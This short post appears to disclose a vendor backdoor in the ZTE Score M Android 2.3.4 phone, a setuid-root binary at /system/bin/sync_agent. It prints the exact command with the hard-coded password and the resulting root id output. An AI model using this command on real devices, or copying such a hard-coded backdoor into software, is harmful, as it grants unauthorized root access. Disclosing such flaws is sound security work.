ZTE Android 2.3.4 Gingerbread Backdoored

The ZTE Score M is an Android 2.3.4 (Gingerbread) phone available in the United States on MetroPCS, made by Chinese telecom ZTE Corporation.

There is a setuid-root application at /system/bin/sync_agent that serves no function besides providing a root shell backdoor on the device.
Just give the magic, hard-coded password to get a root shell:

$ sync_agent ztex1609523
# id
uid=0(root) gid=0(root)

Nice backdoor, ZTE.

Goes to show that no one can be trusted these days, and to always second guess yourself when typing in personal information on phones and the web.